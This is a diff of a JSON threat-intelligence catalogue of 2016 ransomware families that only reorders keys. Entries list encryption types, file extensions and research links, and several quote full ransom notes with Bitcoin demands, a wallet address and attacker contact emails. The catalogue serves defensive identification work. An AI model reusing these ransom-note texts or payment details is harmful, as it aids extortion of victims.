- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "WinRarer Ransomware",
- "uuid": "7ee22340-ed89-4e22-b085-257bde4c0fc5"
+ "uuid": "7ee22340-ed89-4e22-b085-257bde4c0fc5",
+ "value": "WinRarer Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/russian-globe-ransomware.html"
- ],
- "ransomnotes": [
- "YOUR FILES HAVE BEEN ENCRYPTED! Your personal ID ***** Your file have been encrypted with a powerful strain of a virus called ransomware. Your files are encrypted using the same methods banks and the military use. There is currently no possible way to decrypt files with the private key. Lucky for you, we can help. We are willing to sell you a decryptor UNIQUELY made for your computer (meaning someone else's decryptor will not work for you). Once you pay a small fee, we will instantly send you the software/info necessary to decrypt all your files, quickly and easily."
- ],
+ "date": "November 2016",
"encryption": "AES-256",
"extensions": [
".blackblock"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "YOUR FILES HAVE BEEN ENCRYPTED! Your personal ID ***** Your file have been encrypted with a powerful strain of a virus called ransomware. Your files are encrypted using the same methods banks and the military use. There is currently no possible way to decrypt files with the private key. Lucky for you, we can help. We are willing to sell you a decryptor UNIQUELY made for your computer (meaning someone else's decryptor will not work for you). Once you pay a small fee, we will instantly send you the software/info necessary to decrypt all your files, quickly and easily."
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/russian-globe-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Russian Globe Ransomware",
- "uuid": "30771cde-2543-4c13-b722-ff940f235b0f"
+ "uuid": "30771cde-2543-4c13-b722-ff940f235b0f",
+ "value": "Russian Globe Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/zerocrypt-ransomware.html"
- ],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-0AGEY4vAlA0/WBi_oChzFNI/AAAAAAAAB4w/8PrPRfFU30YFWCwHzqnsx4bYISVNFyesQCLcB/s1600/note.PNG"
- ],
+ "date": "November 2016",
"encryption": "AES-256",
"extensions": [
".zn2016"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-0AGEY4vAlA0/WBi_oChzFNI/AAAAAAAAB4w/8PrPRfFU30YFWCwHzqnsx4bYISVNFyesQCLcB/s1600/note.PNG"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/zerocrypt-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "ZeroCrypt Ransomware",
- "uuid": "e999ca18-61cb-4419-a2fa-ab8af6ebe8dc"
+ "uuid": "e999ca18-61cb-4419-a2fa-ab8af6ebe8dc",
+ "value": "ZeroCrypt Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/rotorcrypt-ransomware.html"
- ],
- "ransomnotes": [
- "Good day Your files were encrypted/locked As evidence can decrypt file 1 to 3 1-30MB The price of the transcripts of all the files on the server: 7 Bitcoin Recommend to solve the problem quickly and not to delay Also give advice on how to protect Your server against threats from the network (Files sql mdf backup decryption strictly after payment)!"
- ],
+ "date": "October 2016",
"encryption": "RSA",
"extensions": [
".c400",
@@ -3677,221 +3678,224 @@
"!@!@!@_contact mail___boroznsalyuda@gmail.com___!@!@.psd",
"!@#$_____ISKANDER@TUTAMAIL.COM_____$#@!.RAR"
],
- "date": "October 2016"
+ "ransomnotes": [
+ "Good day Your files were encrypted/locked As evidence can decrypt file 1 to 3 1-30MB The price of the transcripts of all the files on the server: 7 Bitcoin Recommend to solve the problem quickly and not to delay Also give advice on how to protect Your server against threats from the network (Files sql mdf backup decryption strictly after payment)!"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/rotorcrypt-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "RotorCrypt(RotoCrypt, Tar) Ransomware",
- "uuid": "63991ed9-98dc-4f24-a0a6-ff58e489c263"
+ "uuid": "63991ed9-98dc-4f24-a0a6-ff58e489c263",
+ "value": "RotorCrypt(RotoCrypt, Tar) Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/ishtar-ransomware.html"
- ],
- "ransomnotes": [
- "FOR FILE DISCRIPTION, PLEASE CONTACT YOU@edtonmail@protonmail.com Or BM-NBYR3ctSgr67iciT43rRNmHdHPAYBBK7 USING BITMESSAGE DESKTOP OR https://bitmsg.me/ BASIC TECHNICAL DETAILS: > Standard encryption order: AES 256 + RSA 2048. > A unique AES key is created for each file. > Decryption is impossible without the ISHTAR.DATA file (see% APPDATA% directory). ----- TO DECRYPT YOUR FILES PLEASE WRITE TO youneedmail@protonmail.com OR TO BM-NBYR3ctSgr67iciT43rRNmHdHPAYBBK7 USING BITMESSAGE DESKTOP OR https://bitmsg.me/ BASIC TECHNICAL DETAILS: > Standart encryption routine: AES 256 + RSA 2048. > Every AES key is unique per file. > Decryption is impossible without ISHTAR.DATA file (see% APPDATA% path)."
- ],
+ "date": "October 2016",
"encryption": "AES-256 + RSA-2048",
"extensions": [
"ISHTAR-. (prefix)"
],
- "date": "October 2016"
+ "ransomnotes": [
+ "FOR FILE DISCRIPTION, PLEASE CONTACT YOU@edtonmail@protonmail.com Or BM-NBYR3ctSgr67iciT43rRNmHdHPAYBBK7 USING BITMESSAGE DESKTOP OR https://bitmsg.me/ BASIC TECHNICAL DETAILS: > Standard encryption order: AES 256 + RSA 2048. > A unique AES key is created for each file. > Decryption is impossible without the ISHTAR.DATA file (see% APPDATA% directory). ----- TO DECRYPT YOUR FILES PLEASE WRITE TO youneedmail@protonmail.com OR TO BM-NBYR3ctSgr67iciT43rRNmHdHPAYBBK7 USING BITMESSAGE DESKTOP OR https://bitmsg.me/ BASIC TECHNICAL DETAILS: > Standart encryption routine: AES 256 + RSA 2048. > Every AES key is unique per file. > Decryption is impossible without ISHTAR.DATA file (see% APPDATA% path)."
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/ishtar-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.",
- "value": "Ishtar Ransomware",
- "uuid": "30cad868-b2f1-4551-8f76-d17695c67d52"
+ "uuid": "30cad868-b2f1-4551-8f76-d17695c67d52",
+ "value": "Ishtar Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/masterbuster-ransomware.html",
- "https://twitter.com/struppigel/status/791943837874651136"
+ "date": "October 2016",
+ "extensions": [
+ ".hcked"
],
"ransomnotes": [
"IMPORTANT!!!! All of your computer files have been encrypted. DO NOT CHANGE ANY FILES! We can restore all the files. How to restore files: - \n1) Follow this link: - http://goo.gl/forms/VftoBRppkJ \n2) Fill out the form above. \n3) For 24 hours on your email + mobile SMS will come instructions for solving the problem. Thank you! DarkWing020",
"https://3.bp.blogspot.com/-gqEyoqXbZnE/WBXoF5bPZZI/AAAAAAAAB2U/YGpgIdjXyQQeDnwc9PlJs37YWtWTnH_wgCLcB/s1600/note.jpg",
"CreatesReadThisFileImportant.txt"
],
- "extensions": [
- ".hcked"
- ],
- "date": "October 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/masterbuster-ransomware.html",
+ "https://twitter.com/struppigel/status/791943837874651136"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "MasterBuster Ransomware",
- "uuid": "07f859cd-9c36-4dae-a6fc-fa4e4aa36176"
+ "uuid": "07f859cd-9c36-4dae-a6fc-fa4e4aa36176",
+ "value": "MasterBuster Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "Jack.Pot Ransomware"
+ "date": "October 2016",
+ "extensions": [
+ ".coin"
+ ],
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-oaElZvUqbfo/WBUOGdD8unI/AAAAAAAAB1w/Ya1_qq0gfa09AhRddUITQNRxKloXgD_BwCLcB/s1600/wallp.jpg"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/10/jackpot-ransomware.html",
"https://twitter.com/struppigel/status/791639214152617985",
"https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/"
],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-oaElZvUqbfo/WBUOGdD8unI/AAAAAAAAB1w/Ya1_qq0gfa09AhRddUITQNRxKloXgD_BwCLcB/s1600/wallp.jpg"
- ],
- "extensions": [
- ".coin"
- ],
- "date": "October 2016"
+ "synonyms": [
+ "Jack.Pot Ransomware"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "JackPot Ransomware",
- "uuid": "04f1772a-053e-4f6e-a9af-3f83ab312633"
+ "uuid": "04f1772a-053e-4f6e-a9af-3f83ab312633",
+ "value": "JackPot Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Georgian ransomware",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/onyx-ransomware.html",
- "https://twitter.com/struppigel/status/791557636164558848",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/"
+ "date": "October 2016",
+ "extensions": [
+ ".Encryption:"
],
"ransomnotes": [
"All your files are encrypted, but do not worry, they have not been removed. (for now) You have 24 hours to pay $100. Money move to the specified Bitcoin -account. Otherwise, all files will be destroyed. Do not turn off the computer and/or do not attempt to disable me. When disobedience will be deleted 100 files.",
"https://1.bp.blogspot.com/-cukkC4KAhZE/WBY1jJbcQoI/AAAAAAAAB3I/p8p-iNQRnQwnP6c6H77h_SHMQNAlkJ1CgCLcB/s1600/onyx.jpg"
],
- "extensions": [
- ".Encryption:"
- ],
- "date": "October 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/onyx-ransomware.html",
+ "https://twitter.com/struppigel/status/791557636164558848",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Georgian ransomware",
- "value": "ONYX Ransomeware",
- "uuid": "927a4150-9380-4310-9f68-cb06d8debcf2"
+ "uuid": "927a4150-9380-4310-9f68-cb06d8debcf2",
+ "value": "ONYX Ransomeware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/ifn643-ransomware.html",
- "https://twitter.com/struppigel/status/791576159960072192",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-JuBZKpEHV0Q/WBYNHFlW7pI/AAAAAAAAB20/z0DPYA_8l6U8tB6pbgo8ZwyIJRcrIVy2ACLcB/s1600/Note1.JPG"
- ],
+ "date": "October 2016",
"encryption": "AES",
"extensions": [
".inf643"
],
- "date": "October 2016"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-JuBZKpEHV0Q/WBYNHFlW7pI/AAAAAAAAB20/z0DPYA_8l6U8tB6pbgo8ZwyIJRcrIVy2ACLcB/s1600/Note1.JPG"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/ifn643-ransomware.html",
+ "https://twitter.com/struppigel/status/791576159960072192",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "IFN643 Ransomware",
- "uuid": "ddeab8b3-5df2-414e-9c6b-06b309e1fcf4"
+ "uuid": "ddeab8b3-5df2-414e-9c6b-06b309e1fcf4",
+ "value": "IFN643 Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/alcatraz-locker-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/",
- "https://twitter.com/PolarToffee/status/792796055020642304"
+ "date": "October 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".Alcatraz"
],
"ransomnotes": [
"https://3.bp.blogspot.com/-b0-Uvnz703Q/WBcMGkZqtwI/AAAAAAAAB3Y/a6clIjdp_tI2T-OE_ykyjvB2qNY3gqWdQCLcB/s1600/Screenshot_1.jpg",
"https://2.bp.blogspot.com/-y5a6QnjAiv0/WBcMKV0zDDI/AAAAAAAAB3c/ytOQHJgmy30H_jEWPcfht7RRsh4NhcrvACLcB/s1600/Screenshot_2.jpg",
"ransomed.hTmL"
],
- "encryption": "AES",
- "extensions": [
- ".Alcatraz"
- ],
- "date": "October 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/alcatraz-locker-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/",
+ "https://twitter.com/PolarToffee/status/792796055020642304"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Alcatraz Locker Ransomware",
- "uuid": "2ad63264-8f52-4ab4-ad26-ca8c3bcc066e"
+ "uuid": "2ad63264-8f52-4ab4-ad26-ca8c3bcc066e",
+ "value": "Alcatraz Locker Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/esmeralda-ransomware.html",
- "https://www.bleepingcomputer.com/forums/t/630835/esmeralda-ransomware/"
+ "date": "October 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".encrypted"
],
"ransomnotes": [
"Windows has encountered a critical problem and needs your immediate action to recover your data. The system access is locked and all the data have been encrypted to avoid the information be published or misused. You will not be able to access to your files and ignoring this message may cause the total loss of the data. We are sorry for the inconvenience. You need to contact the email below to restore the data of your system. Email: esmeraldaencryption@mail.ru You will have to order the Unlock-Password and the Esmeralda Decryption Software. All the instructions will be sent to you by email.",
"https://2.bp.blogspot.com/-vaWu8OjSiXE/WBzkLBdB8DI/AAAAAAAAB_Y/k8vvtYEIdTkFJhruRJ6qDNAujAn4Ph-xACLcB/s1600/esmeralda-lock_2.png"
],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/esmeralda-ransomware.html",
+ "https://www.bleepingcomputer.com/forums/t/630835/esmeralda-ransomware/"
+ ]
+ },
+ "uuid": "ff5a04bb-d412-4cb3-9780-8d3488b7c268",
+ "value": "Esmeralda Ransomware"
+ },
+ {
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
+ "meta": {
+ "date": "October 2016",
"encryption": "AES",
"extensions": [
".encrypted"
],
- "date": "October 2016"
- },
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Esmeralda Ransomware",
- "uuid": "ff5a04bb-d412-4cb3-9780-8d3488b7c268"
- },
- {
- "meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/encryptile-ransomware.html"
- ],
"ransomnotes": [
"https://2.bp.blogspot.com/-_jxt6kCRnwM/WBNf7mi92nI/AAAAAAAAB0g/homx8Ly379oUKAOIhZU6MxCiWX1gA_TkACLcB/s1600/wallp.jpg"
],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/encryptile-ransomware.html"
+ ]
+ },
+ "uuid": "56e49b84-a250-4aaf-9f65-412616709652",
+ "value": "EncrypTile Ransomware"
+ },
+ {
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of how the hacker tricks the user using the survey method. https://1.bp.blogspot.com/-72ECd1vsUdE/WBMSzPQEgzI/AAAAAAAABzA/i8V-Kg8Gstcn_7-YZK__PDC2VgafWcfDgCLcB/s1600/survey-screen.png The hacker definatly has a sense of humor: https://1.bp.blogspot.com/-2AlvtcvdyUY/WBMVptG_V5I/AAAAAAAABzc/1KvAMeDmY2w9BN9vkqZO8LWkBu7T9mvDACLcB/s1600/ThxForYurTyme.JPG",
+ "meta": {
+ "date": "October 2016",
"encryption": "AES",
"extensions": [
".encrypted"
],
- "date": "October 2016"
- },
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "EncrypTile Ransomware",
- "uuid": "56e49b84-a250-4aaf-9f65-412616709652"
- },
- {
- "meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/fileice-ransomware-survey.html",
- "https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/"
- ],
"ransomnotes": [
"https://3.bp.blogspot.com/-GAPCc3ITdQY/WBMTmJ4NaRI/AAAAAAAABzM/XPbPZvZ8vbUrOWxtwPmfHFJiNT_2gfaOgCLcB/s1600/fileice-source.png"
],
- "encryption": "AES",
- "extensions": [
- ".encrypted"
- ],
- "date": "October 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/fileice-ransomware-survey.html",
+ "https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of how the hacker tricks the user using the survey method. https://1.bp.blogspot.com/-72ECd1vsUdE/WBMSzPQEgzI/AAAAAAAABzA/i8V-Kg8Gstcn_7-YZK__PDC2VgafWcfDgCLcB/s1600/survey-screen.png The hacker definatly has a sense of humor: https://1.bp.blogspot.com/-2AlvtcvdyUY/WBMVptG_V5I/AAAAAAAABzc/1KvAMeDmY2w9BN9vkqZO8LWkBu7T9mvDACLcB/s1600/ThxForYurTyme.JPG",
- "value": "Fileice Ransomware Survey Ransomware",
- "uuid": "ca5d0e52-d0e4-4aa9-872a-0669433c0dcc"
+ "uuid": "ca5d0e52-d0e4-4aa9-872a-0669433c0dcc",
+ "value": "Fileice Ransomware Survey Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/cryptowire-ransomware.html",
- "https://twitter.com/struppigel/status/791554654664552448",
- "https://www.bleepingcomputer.com/news/security/-proof-of-concept-cryptowire-ransomware-spawns-lomix-and-ultralocker-families/"
+ "date": "October 2016",
+ "encryption": "AES-256",
+ "extensions": [
+ ".encrypted"
],
"ransomnotes": [
"https://4.bp.blogspot.com/-vIMgkn8WVJM/WBJAxkbya7I/AAAAAAAABys/tCpaTOxfGDw8A611gudDh46mhZT70dURwCLcB/s1600/lock-screen.jpg",
"https://1.bp.blogspot.com/-b0QiEQec0Pg/WBMf2HG6hjI/AAAAAAAABz8/BtN2-INZ2KQ4W2_iPqvDZTtlA0Aq_4gVACLcB/s1600/Screenshot_2.jpg"
],
- "encryption": "AES-256",
- "extensions": [
- ".encrypted"
- ],
- "date": "October 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/cryptowire-ransomware.html",
+ "https://twitter.com/struppigel/status/791554654664552448",
+ "https://www.bleepingcomputer.com/news/security/-proof-of-concept-cryptowire-ransomware-spawns-lomix-and-ultralocker-families/"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "CryptoWire Ransomeware",
- "uuid": "4e6e45c2-8e13-49ad-8b27-e5aeb767294a"
+ "uuid": "4e6e45c2-8e13-49ad-8b27-e5aeb767294a",
+ "value": "CryptoWire Ransomeware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on Locky",
"meta": {
- "synonyms": [
- "Hungarian Locky Ransomware"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/hucky-ransomware-hungarian-locky.html",
- "https://blog.avast.com/hucky-ransomware-a-hungarian-locky-wannabe",
- "https://twitter.com/struppigel/status/846241982347427840"
+ "date": "October 2016",
+ "encryption": "AES-128+RSA",
+ "extensions": [
+ ".locky",
+ "[a-zA-Z0-9+_-]{1,}.[a-z0-9]{3,4}.locky"
],
"ransomnotes": [
"https://1.bp.blogspot.com/-lLZZBScC27U/WBmkDQzl9FI/AAAAAAAAB5Y/gozOy17Yv0EWNCQVSOXn-PkTccYZuMmPQCLcB/s1600/note-bmp_2.png",
@@ -3899,137 +3903,142 @@
"_Adatok_visszaallitasahoz_utasitasok.txt",
"_locky_recover_instructions.txt"
],
- "encryption": "AES-128+RSA",
- "extensions": [
- ".locky",
- "[a-zA-Z0-9+_-]{1,}.[a-z0-9]{3,4}.locky"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/hucky-ransomware-hungarian-locky.html",
+ "https://blog.avast.com/hucky-ransomware-a-hungarian-locky-wannabe",
+ "https://twitter.com/struppigel/status/846241982347427840"
],
- "date": "October 2016"
+ "synonyms": [
+ "Hungarian Locky Ransomware"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on Locky",
- "value": "Hucky Ransomware",
- "uuid": "74f91a93-4f1e-4603-a6f5-aaa40d2dd311"
+ "uuid": "74f91a93-4f1e-4603-a6f5-aaa40d2dd311",
+ "value": "Hucky Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/winnix-cryptor-ransomware.html",
- "https://twitter.com/PolarToffee/status/811940037638111232"
+ "date": "October 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".wnx"
],
"ransomnotes": [
"Your files are encrypted! Your files have been safely encrypted on this PC: photos, documents, databases, etc. Encryption was produced using a unique public key generated for this computer. To decrypt files you need to obtain the private key. The only way to get the private key is to pay 4 BTC. You saved it on qualified system administrator who could make your network safe and secure. In order to decrypt the files send your bitcoins to the following address: 13gYXFxpzm7hAd4esdnJGt9JvYqyD1Y6by After you complete your payment, send an email to 6214ssxpvo@sigaint.org with YOUR ID as subject (ID is in the end of the file) and you'll receive private key, needed software and step by step guide in 1 business day. Offer is valid for 5 business days (expiration date is in the end of the file). AFTER TIME IS UP, PRICE DOUBLES. No discounts, no other payment methods. How to buy bitcoins? \n1. Create a Bitcoin Wallet (we recommend Blockchain.info) \n2. Buy necessary amount of Bitcoins Do not forget about the transaction commission in the Bitcoin network (= 0.0005). Here are our recommendations: LocalBitcoins.com – the fastest and easiest way to buy and sell Bitcoins; CoinCafe.com – the simplest and fastest way to buy, sell and use Bitcoins; BTCDirect.eu – the best for Europe; CEX.IO – Visa / MasterCard; CoinMama.com – Visa / MasterCard; HowToBuyBitcoins.info – discover quickly how to buy and sell bitcoins in your local currency. More questions? Send an email to 6214ssxpvo@sigaint.org ID: *** EXP DATE: Sept. 12 2016 Winnix Cryptor Team",
"YOUR FILES ARE ENCRYPTED!.txt"
],
- "encryption": "AES",
- "extensions": [
- ".wnx"
- ],
- "date": "October 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/winnix-cryptor-ransomware.html",
+ "https://twitter.com/PolarToffee/status/811940037638111232"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Winnix Cryptor Ransomware",
- "uuid": "e30e663d-d8c8-44f2-8da7-03b1a9c52376"
+ "uuid": "e30e663d-d8c8-44f2-8da7-03b1a9c52376",
+ "value": "Winnix Cryptor Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Demands 10 BTC",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/10/angryduck-ransomware.html",
- "https://twitter.com/demonslay335/status/790334746488365057"
+ "date": "October 2016",
+ "encryption": "AES-512",
+ "extensions": [
+ ".adk"
],
"ransomnotes": [
"https://3.bp.blogspot.com/-k3s85Fx9N_E/WBIfuUNTMmI/AAAAAAAAByM/rQ10tKuXTlEJfLTOoBwJPo7rhhaiK2OoQCLcB/s1600/screen-lock.jpg",
"ANGRY DUCK! All your important files have been encrypted using very string cryptography (AES-512 With RSA-64 FIPS grade encryption). To recover your files, send 10 BTC to my private wallet DON'T MESS WITH THE DUCKS!!!"
],
- "encryption": "AES-512",
- "extensions": [
- ".adk"
- ],
- "date": "October 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/10/angryduck-ransomware.html",
+ "https://twitter.com/demonslay335/status/790334746488365057"
+ ]
},
